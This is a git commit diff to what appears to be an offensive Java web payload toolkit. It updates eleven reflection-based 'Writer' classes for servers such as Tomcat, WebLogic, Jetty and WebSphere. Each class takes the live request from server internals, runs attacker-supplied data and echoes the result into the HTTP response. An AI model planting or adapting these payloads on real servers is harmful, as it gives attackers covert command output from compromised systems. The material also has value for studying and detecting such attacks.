fix: response body write failed when getOutputStream already called

This commit is contained in:
ReaJason
2025-12-16 21:55:21 +08:00
parent 6582ab87c0
commit 395ca3caa0
11 changed files with 403 additions and 89 deletions
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
@@ -32,15 +35,25 @@ public class ApusicWriter {
Object response = getFieldValue(servletInvocation, "response");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace();
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return;
}
}
@@ -96,4 +109,19 @@ public class ApusicWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -22,10 +25,8 @@ public class GlassFishWriter {
// GlassFish3
Thread thread = Thread.currentThread();
Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
execute(response, data);
if (tryWriteRes(request)) {
return;
}
} catch (Exception x) {
// GlassFish4+
@@ -48,10 +49,7 @@ public class GlassFishWriter {
}
Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
execute(response, data);
if (tryWriteRes(request)) {
return;
}
}
@@ -64,15 +62,32 @@ public class GlassFishWriter {
}
}
private void execute(Object response, String data) throws Exception {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
private boolean tryWriteRes(Object request) throws Exception {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
return true;
}
writer.flush();
writer.close();
return false;
}
private String getDataFromReq(Object request) throws Exception {
@@ -119,4 +134,19 @@ public class GlassFishWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -2,8 +2,10 @@ package com.reajason.javaweb.probe.payload.response;
import org.eclipse.jetty.util.Callback;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -49,23 +51,30 @@ public class JettyWriter {
}
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
StringWriter sw = new StringWriter();
PrintWriter writer = new PrintWriter(sw);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace();
e.printStackTrace(writer);
result = getErrorMessage(e);
}
String result = sw.toString();
System.out.println("result: " + result);
try {
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
resWriter.write(result);
} catch (Exception e) {
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
ByteBuffer content = UTF_8.encode(result);
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
try {
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
resWriter.write(result);
resWriter.flush();
resWriter.close();
} catch (Exception x) {
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
ByteBuffer content = UTF_8.encode(result);
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
}
}
}
return;
}
@@ -122,4 +131,19 @@ public class JettyWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -22,17 +25,30 @@ public class ResinWriter {
Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
Object response = getFieldValue(request, "_response");
String data = getDataFromReq(request);
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
// com.caucho.server.connection.AbstractHttpResponse.close
// 不关闭 response 的话会遇到重复写响应体的情况
// invokeMethod(response, "close", null, null);
}
writer.flush();
writer.close();
// com.caucho.server.connection.AbstractHttpResponse.close
// 不关闭 response 的话会遇到重复写响应体的情况
invokeMethod(response, "close", null, null);
} catch (Throwable e) {
e.printStackTrace();
} finally {
@@ -84,4 +100,19 @@ public class ResinWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -23,17 +26,26 @@ public class SpringWebMvcWriter {
Object response = invokeMethod(requestAttributes, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return;
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
@@ -85,4 +97,19 @@ public class SpringWebMvcWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -23,15 +26,25 @@ public class Struct2Writer {
Object response = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace();
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -84,4 +97,19 @@ public class Struct2Writer {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -71,14 +74,25 @@ public class TomcatWriter {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return;
}
}
@@ -134,4 +148,19 @@ public class TomcatWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -70,14 +73,25 @@ public class TongWebWriter {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return true;
}
return false;
@@ -127,4 +141,19 @@ public class TongWebWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
@@ -31,14 +34,27 @@ public class UndertowWriter {
Object request = getFieldValue(value, "servletRequest");
Object response = getFieldValue(value, "servletResponse");
String data = getDataFromReq(request);
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
}
writer.flush();
writer.close();
return;
}
}
@@ -93,4 +109,19 @@ public class UndertowWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -38,16 +41,27 @@ public class WebLogicWriter {
}
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
// 防止重复写响应,提前触发 send 操作
invokeMethod(response, "send", null, null);
// invokeMethod(response, "send", null, null);
}
} catch (Throwable e) {
e.printStackTrace();
@@ -101,4 +115,19 @@ public class WebLogicWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -32,17 +35,27 @@ public class WebSphereWriter {
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return;
}
break;
}
}
} catch (Throwable e) {
@@ -96,4 +109,19 @@ public class WebSphereWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}